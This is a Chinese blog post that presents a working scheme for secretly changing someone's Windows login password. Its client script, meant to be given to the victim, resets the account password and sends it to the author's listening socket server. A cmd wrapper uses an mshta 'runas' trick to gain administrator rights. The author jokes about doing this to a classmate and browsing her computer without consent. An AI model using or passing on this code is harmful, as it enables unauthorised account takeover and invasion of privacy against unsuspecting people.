Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
教你安装python Django(图文)
Nov 04 Python
python调用短信猫控件实现发短信功能实例
Jul 04 Python
Python实现国外赌场热门游戏Craps(双骰子)
Mar 31 Python
Python编程之微信推送模板消息功能示例
Aug 21 Python
Python中判断输入是否为数字的实现代码
May 26 Python
Python读取mat文件,并转为csv文件的实例
Jul 04 Python
Python操作SQLite数据库过程解析
Sep 02 Python
python连接、操作mongodb数据库的方法实例详解
Sep 11 Python
Python+numpy实现矩阵的行列扩展方式
Nov 29 Python
使用pyshp包进行shapefile文件修改的例子
Dec 06 Python
python用什么编辑器进行项目开发
Jun 17 Python
卸载tensorflow-cpu重装tensorflow-gpu操作
Jun 23 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
PHP数组及条件,循环语句学习
2012/11/11 PHP
php设计模式之单例、多例设计模式的应用分析
2013/06/30 PHP
PHP三元运算的2种写法代码实例
2014/05/12 PHP
Yii的CDbCriteria查询条件用法实例
2014/12/04 PHP
Thinkphp自定义生成缩略图尺寸的方法
2019/08/05 PHP
laravel中数据显示方法(默认值和下拉option默认选中)
2019/10/11 PHP
利用PHP内置SERVER开启web服务(本地开发使用)
2021/03/09 PHP
IE php关于强制下载文件的代码
2008/08/23 Javascript
Array.prototype.slice.apply的使用方法
2010/03/17 Javascript
文本框中,回车键触发事件的js代码[多浏览器兼容]
2010/06/07 Javascript
js 函数的副作用分析
2011/08/23 Javascript
json数据与字符串的相互转化示例
2013/09/18 Javascript
Jquery Ajax解析XML数据(同步及异步调用)简单实例
2014/02/12 Javascript
理解jQuery stop()方法
2014/11/21 Javascript
AngularJS入门知识之MVW类框架的编程思想探讨
2014/12/08 Javascript
javascript删除一个html元素节点的方法
2014/12/20 Javascript
JQuery选择器绑定事件及修改内容的方法
2015/01/23 Javascript
jquery中animate的stop()方法作用实例分析
2015/01/30 Javascript
JS中的hasOwnProperty()、propertyIsEnumerable()和isPrototypeOf()
2016/08/11 Javascript
Angular-Ui-Router+ocLazyLoad动态加载脚本示例
2017/03/02 Javascript
react.js CMS 删除功能的实现方法
2017/04/17 Javascript
JQuery form表单提交前验证单选框是否选中、删除记录时验证经验总结(整理)
2017/06/09 jQuery
Angularjs实现控制器之间通信方式实例总结
2018/03/27 Javascript
iconfont的三种使用方式详解
2018/08/05 Javascript
js调用网络摄像头的方法
2020/12/05 Javascript
详解js创建对象的几种方式和对象方法
2021/03/01 Javascript
python网络编程学习笔记(三):socket网络服务器
2014/06/09 Python
python http接口自动化脚本详解
2018/01/02 Python
对python 匹配字符串开头和结尾的方法详解
2018/10/27 Python
使用遗传算法求二元函数的最小值
2020/02/11 Python
HTML5 canvas基本绘图之绘制线段
2016/06/27 HTML / CSS
很酷的小工具和电子产品商城:GearBest
2016/11/19 全球购物
摘录式读书笔记
2015/07/01 职场文书
公司会议开幕词
2016/03/03 职场文书
深度学习小工程练习之垃圾分类详解
2021/04/14 Python
Spring中bean集合注入的方法详解
2022/07/07 Java/Android